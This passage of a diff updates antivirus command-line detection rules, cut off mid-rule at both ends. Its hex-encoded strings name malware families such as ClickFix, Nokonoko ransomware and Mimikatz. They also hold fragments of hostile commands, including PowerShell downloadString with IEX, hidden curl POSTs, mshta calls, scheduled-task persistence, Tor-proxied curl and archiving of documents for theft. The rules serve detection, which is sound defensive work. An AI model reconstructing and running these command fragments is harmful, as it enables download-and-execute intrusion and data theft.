78 00 79 00 63 00 6f 00 6d 00 6d 00 61 } //11875 + $a_00_4 = {66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 } //2 forfiles + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_41_2 & 1)*11875+(#a_00_4 & 1)*2) >=18 + +} +rule _InfrastructureShared_27825{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,18 00 18 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 73 68 45 78 65 63 2e 53 41 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 02 00 0e 00 73 00 73 00 68 00 } //21283 + $a_00_1 = {78 00 65 00 02 00 18 00 70 00 72 00 6f 00 78 00 79 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 02 00 10 00 66 00 6f 00 72 00 66 00 69 00 6c 00 65 00 73 00 02 00 04 00 2f 00 6d 00 00 00 d7 9b 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 63 63 6f 75 6e 74 44 69 73 } //46 + $a_65_2 = {79 2e 53 00 01 00 0b 80 01 77 73 63 72 69 70 74 2e 65 78 65 01 00 37 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 8f 2e 00 76 00 62 00 73 00 90 00 01 00 1e 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 8f 2e 76 62 73 90 00 00 00 d7 9b 00 } //28515 + $a_3a_5 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 42 21 4d 54 42 00 01 00 12 00 2f 00 63 00 20 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 01 00 1c 00 2d 00 6b 00 20 00 2d 00 53 00 73 00 20 00 2d 00 58 00 20 00 50 00 } //17748 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_65_2 & 1)*28515+(#a_3a_5 & 1)*17748) >=24 + +} +rule _InfrastructureShared_27826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 63 63 6f 75 6e 74 44 69 73 63 6f 76 65 72 79 2e 53 00 01 00 0b 80 01 77 73 63 72 69 70 74 2e 65 78 65 01 00 37 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 } //21283 - $a_00_1 = {73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 8f 2e 00 76 00 62 00 73 00 90 00 01 00 1e 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 8f 2e 76 62 73 90 00 00 00 d7 9b 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 53 63 72 69 } //112 - $a_52_2 = {67 75 65 53 70 79 2e 46 21 64 68 61 00 01 00 16 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 78 00 01 00 40 00 73 00 6f 00 } //29808 + $a_00_1 = {73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 8f 2e 00 76 00 62 00 73 00 90 00 01 00 1e 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 8f 2e 76 62 73 90 00 00 00 d7 9b 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //112 + $a_63_2 = {46 69 78 2e 41 42 21 4d 54 42 00 01 00 12 00 2f 00 63 00 20 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 01 00 1c 00 2d 00 6b 00 20 00 2d 00 53 00 73 00 20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 5b 00 2e 00 5d 00 70 00 68 00 70 00 01 00 1a 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 } //27715 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_52_2 & 1)*29808) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_63_2 & 1)*27715) >=2 } -rule _InfrastructureShared_26294{ +rule _InfrastructureShared_27827{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : - $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 53 63 72 69 70 74 2f 52 6f 67 75 65 53 70 79 2e 46 21 64 68 61 00 01 00 16 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 78 00 01 00 40 00 73 00 6f 00 63 00 6b 00 73 00 35 00 68 00 3a } //21283 - $a_00_2 = {37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 3a 00 39 00 30 00 35 00 30 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 0c 00 2e 00 6f 00 6e 00 } //49 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 42 21 4d 54 42 00 01 00 12 00 2f 00 63 00 20 00 63 00 5e 00 75 00 5e 00 72 00 6c 00 01 00 1c 00 2d 00 6b 00 20 00 2d 00 53 00 73 00 20 00 } //21539 + $a_00_1 = {20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 5b 00 2e 00 5d 00 70 00 68 00 70 00 01 00 1a 00 26 00 26 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 01 00 08 00 2e 00 62 00 61 00 74 00 00 00 d7 9b 00 00 78 00 78 00 04 00 21 23 53 4c 46 3a 45 78 } //45 + $a_69_2 = {3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 32 2d 34 37 39 36 36 2e 44 21 64 68 61 00 64 00 22 00 43 00 56 00 45 00 2d 00 32 00 30 00 32 00 32 00 2d 00 34 00 37 00 39 00 36 00 36 00 2e 00 70 00 79 00 0a 00 0e 00 20 00 2d 00 2d 00 75 00 72 00 6c 00 20 00 0a 00 16 00 20 00 2d 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a } //27760 + $a_00_4 = {69 00 73 00 73 00 75 00 65 00 72 00 20 00 00 00 d7 9c 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //45 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*49) >=3 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_69_2 & 1)*27760+(#a_00_4 & 1)*45) >=5 } -rule _InfrastructureShared_26295{ +rule _InfrastructureShared_27828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 04 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 32 2d 34 37 39 36 36 2e 44 21 64 68 61 00 64 00 22 00 43 00 56 00 45 00 2d 00 32 00 30 00 32 00 32 00 2d 00 34 00 37 00 39 00 36 00 36 00 2e 00 70 00 79 00 0a 00 0e } //21283 - $a_00_2 = {72 00 6c 00 20 00 0a 00 16 00 20 00 2d 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 20 00 2d 00 2d 00 69 00 73 00 73 00 75 00 65 00 72 00 20 00 00 00 d7 9c 00 00 0d 00 0d 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 72 44 61 74 61 41 67 67 72 2e 41 00 0a 00 1b 02 5c 00 72 00 61 00 72 00 2e 00 65 00 } //45 - $a_00_3 = {90 02 10 20 00 61 00 20 00 90 00 01 00 0a 00 2a 00 2e 00 78 00 6c 00 73 00 01 00 0a 00 2a 00 2e 00 70 00 70 00 74 00 01 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 01 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 01 00 0a 00 2a 00 2e 00 63 00 73 00 76 00 01 00 0a 00 2a 00 2e 00 70 00 6e 00 67 00 00 00 d7 9d 00 00 } //120 + $a_00_2 = {72 00 6c 00 20 00 0a 00 16 00 20 00 2d 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 0a 00 14 00 20 00 2d 00 2d 00 69 00 73 00 73 00 75 00 65 00 72 00 20 00 00 00 d7 9c 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 41 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 } //45 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45+(#a_00_3 & 1)*120) >=120 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45) >=120 } -rule _InfrastructureShared_26296{ +rule _InfrastructureShared_27829{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 41 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 14 00 75 00 70 00 44 00 61 00 74 00 65 00 } //21283 + $a_00_1 = {6e 00 69 00 01 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 01 00 06 00 49 00 45 00 58 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 9c 00 00 0d 00 0d 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 72 44 61 74 61 41 67 67 72 2e } //46 + $a_00_2 = {1b 02 5c 00 72 00 61 00 72 00 } //65 ț\rar + $a_00_3 = {78 00 65 00 90 02 10 20 00 61 00 20 00 90 00 01 00 0a 00 2a 00 2e 00 78 00 6c 00 73 00 01 00 0a 00 2a 00 2e 00 70 00 70 00 74 00 01 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 01 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 01 00 0a 00 2a 00 2e 00 63 00 73 00 76 00 01 00 0a 00 2a 00 2e 00 70 00 6e 00 67 00 00 00 } //46 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_00_2 & 1)*65+(#a_00_3 & 1)*46) >=5 + +} +rule _InfrastructureShared_27830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 07 00 21 " @@ -344003,25 +363880,63 @@ rule _InfrastructureShared_26296{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 72 44 61 74 61 41 67 67 72 2e 41 00 0a 00 1b 02 5c 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 90 02 10 20 00 61 00 20 00 90 00 01 00 0a 00 2a 00 2e 00 78 00 6c 00 73 00 01 00 0a 00 } //21283 $a_00_1 = {70 00 70 00 74 00 01 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 01 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 01 00 0a 00 2a 00 2e 00 63 00 73 00 } //42 $a_00_2 = {0a } //118 - $a_00_4 = {67 00 00 00 d7 9d 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 43 59 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 24 00 65 00 79 00 4a 00 46 00 57 00 46 00 52 00 46 00 54 00 6c 00 4e 00 4a 00 54 00 30 00 34 00 69 00 4f 00 69 00 01 00 1a 00 6b } //112 - $a_00_6 = {56 00 66 00 54 00 6b 00 46 00 4e 00 52 00 53 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 00 00 d7 9e 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f } //86 + $a_00_4 = {67 00 00 00 d7 9c 00 00 6f 00 6f 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 56 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 } //112 + $a_00_5 = {74 00 78 00 74 00 01 00 08 00 2e 00 70 00 70 00 74 00 18 fc 1a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 } //8 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*42+(#a_00_2 & 1)*118+(#a_00_4 & 1)*112+(#a_00_6 & 1)*86) >=13 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*42+(#a_00_2 & 1)*118+(#a_00_4 & 1)*112+(#a_00_5 & 1)*8) >=13 } -rule _InfrastructureShared_26297{ +rule _InfrastructureShared_27831{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 07 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 56 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 06 00 20 00 23 00 20 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 } //21283 + $a_00_1 = {2e 00 70 00 64 00 66 00 } //1 .pdf + $a_00_2 = {2e 00 74 00 78 00 74 00 } //1 .txt + $a_00_3 = {2e 00 70 00 70 00 74 00 } //1 .ppt + $a_00_4 = {50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-1000 Program Files + $a_9d_5 = {00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 43 59 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 24 00 65 00 79 00 4a 00 46 00 57 00 46 00 52 00 46 00 54 00 6c 00 4e 00 4a 00 54 00 30 00 34 00 69 00 4f 00 69 00 01 00 1a 00 6b 00 35 00 50 00 56 00 45 00 56 00 66 00 54 00 6b 00 46 00 4e 00 52 00 53 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 00 00 d7 9d 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 56 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-1000+(#a_9d_5 & 1)*0) >=111 + +} +rule _InfrastructureShared_27832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 43 59 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 24 00 65 00 79 00 4a 00 46 00 57 00 46 00 52 00 46 00 54 00 6c 00 4e 00 4a 00 54 00 30 } //21283 - $a_00_2 = {01 00 1a 00 6b 00 35 00 50 00 56 00 45 00 56 00 66 00 54 00 6b 00 46 00 4e 00 52 00 53 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 00 00 d7 9e 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4d 69 6d 69 6b 61 74 7a 21 } //79 - $a_67_3 = {65 72 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0d 02 69 00 65 00 78 00 90 02 03 28 00 90 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e } //29300 + $a_00_2 = {01 00 1a 00 6b 00 35 00 50 00 56 00 45 00 56 00 66 00 54 00 6b 00 46 00 4e 00 52 00 53 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 00 00 d7 9d 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 56 21 4d 54 42 } //79 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*79+(#a_67_3 & 1)*29300) >=4 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*79) >=4 } -rule _InfrastructureShared_26298{ +rule _InfrastructureShared_27833{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 56 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 16 00 3f 00 61 00 69 00 3d 00 27 } //21283 + $a_00_2 = {76 00 3a 00 01 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 00 d7 9d 00 00 7d 00 7d 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 42 21 4d 54 42 00 64 00 14 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=111 + +} +rule _InfrastructureShared_27834{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,7d 00 7d 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 42 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 21 02 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 } //21283 + $a_00_1 = {73 00 73 00 90 02 02 24 00 90 00 0a 00 1c 00 3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 20 00 2b 00 20 00 27 00 05 00 10 00 2d 00 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 00 00 d7 9e 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 50 6f 77 65 72 53 68 65 6c 6c 2f } //99 + $a_69_2 = {61 74 7a 21 74 72 69 67 67 65 72 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0d 02 69 00 65 00 78 00 90 02 03 28 00 90 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 } //26957 + $a_00_3 = {6e 00 67 00 28 00 00 00 d7 9e 00 00 05 00 05 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 69 6c 6c 70 61 69 6e 74 2e 41 21 64 68 61 00 02 00 42 02 2d 00 46 00 69 00 6c 00 65 00 90 27 05 00 90 2f 10 00 2e 00 70 00 73 00 31 00 90 27 05 00 2d 00 46 00 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 } //114 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_69_2 & 1)*26957+(#a_00_3 & 1)*114) >=125 + +} +rule _InfrastructureShared_27835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -344033,18 +363948,62 @@ rule _InfrastructureShared_26298{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144+(#a_00_3 & 1)*116) >=4 } -rule _InfrastructureShared_26299{ +rule _InfrastructureShared_27836{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 69 6c 6c 70 61 69 6e 74 2e 41 21 64 68 61 00 02 00 42 02 2d 00 46 00 69 00 6c 00 65 00 90 27 05 00 90 2f 10 00 2e 00 70 00 73 00 31 00 90 27 05 00 2d 00 46 00 69 00 6c 00 65 00 4e 00 } //21283 + $a_00_1 = {65 00 90 27 05 00 90 2f 10 00 2e 00 6c 00 6f 00 67 00 90 00 01 00 08 00 70 00 69 00 70 00 65 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 00 00 d7 9e 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 70 6f 77 73 6f 6d 2e 44 00 01 00 1c } //97 + $a_00_3 = {72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 06 00 69 00 65 00 78 00 01 00 16 00 72 00 65 00 61 00 64 00 61 00 6c 00 6c 00 74 00 65 00 78 00 74 00 01 00 20 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 21 00 27 00 2c } //119 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_3 & 1)*119) >=5 + +} +rule _InfrastructureShared_27837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 70 6f 77 73 6f 6d 2e 44 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 } //21539 - $a_00_3 = {01 00 16 00 72 00 65 00 61 00 64 00 61 00 6c 00 6c 00 74 00 65 00 78 00 74 00 01 00 20 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 21 00 27 00 2c 00 27 00 27 00 29 00 00 00 d7 9f 00 00 06 00 06 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 72 73 69 73 74 65 6e 63 65 56 69 61 53 63 68 65 64 75 6c 65 64 54 61 73 6b } //101 + $a_00_3 = {01 00 16 00 72 00 65 00 61 00 64 00 61 00 6c 00 6c 00 74 00 65 00 78 00 74 00 01 00 20 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 21 00 27 00 2c 00 27 00 27 00 29 00 00 00 d7 9e 00 00 70 00 70 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4c 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 } //101 + $a_00_4 = {73 00 68 00 65 00 6c 00 6c 00 01 00 28 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 08 00 68 00 74 00 74 00 70 00 0a 00 1e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 9e 00 00 c9 00 c9 00 0a 00 21 23 } //101 condition: - ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*101) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*101+(#a_00_4 & 1)*101) >=5 } -rule _InfrastructureShared_26300{ +rule _InfrastructureShared_27838{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 4c 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 28 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 } //21283 + $a_00_1 = {57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 08 00 68 00 74 00 74 00 70 00 0a 00 1e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 } //116 + $a_00_2 = {53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 9e 00 00 c9 00 c9 00 0a 00 21 23 53 4c 46 3a 4d 73 68 74 61 49 6e 43 4d 44 2e 53 30 30 31 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 64 00 06 00 3a 00 2f 00 2f 00 01 00 04 00 23 00 20 00 01 00 04 00 7c 00 20 00 01 00 06 00 69 00 64 00 3a 00 01 00 } //97 + $a_00_3 = {6f 00 6e 00 66 00 69 00 72 00 6d 00 01 00 0e 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 0a 00 68 00 75 00 6d 00 61 00 6e 00 01 00 0a 00 72 00 6f 00 62 00 6f 00 74 00 01 00 0a 00 76 00 65 00 72 00 69 00 66 00 00 00 d7 9f 00 00 06 00 06 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //14 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*97+(#a_00_3 & 1)*14) >=112 + +} +rule _InfrastructureShared_27839{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 0a 00 21 " + + strings : + $a_46_0 = {4d 73 68 74 61 49 6e 43 4d 44 2e 53 30 30 31 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 64 00 06 00 3a 00 2f 00 2f 00 01 00 04 00 23 00 20 00 01 00 04 00 7c 00 20 00 01 00 06 00 69 00 64 00 3a 00 01 00 0e 00 63 00 6f 00 6e 00 } //21283 + $a_00_1 = {72 00 6d 00 01 00 0e 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 0a 00 68 00 75 00 6d 00 61 00 6e 00 01 00 0a 00 72 00 6f 00 62 00 6f 00 74 00 01 00 0a 00 76 00 65 00 72 00 69 00 66 00 00 00 d7 9f 00 00 06 00 06 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 72 73 69 73 74 65 6e 63 } //102 + $a_61_2 = {63 68 65 64 75 6c 65 64 54 61 73 6b 2e 41 00 03 00 32 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 03 00 2c 02 61 00 74 00 74 00 61 00 63 00 6b 00 69 00 71 00 20 00 74 00 61 00 73 00 6b 00 90 02 70 5c 00 90 } //22117 + $a_00_3 = {62 00 61 00 74 00 90 00 00 00 d7 9f 00 00 0a 00 0a 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 53 65 72 } //10754 + $a_50_4 = {6f 63 2e 53 41 00 0a 00 30 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 04 2f 00 63 00 90 02 ff 63 00 64 00 20 00 2f 00 64 00 90 08 00 02 32 00 3e 00 26 00 31 00 90 00 9c ff 14 00 73 00 76 00 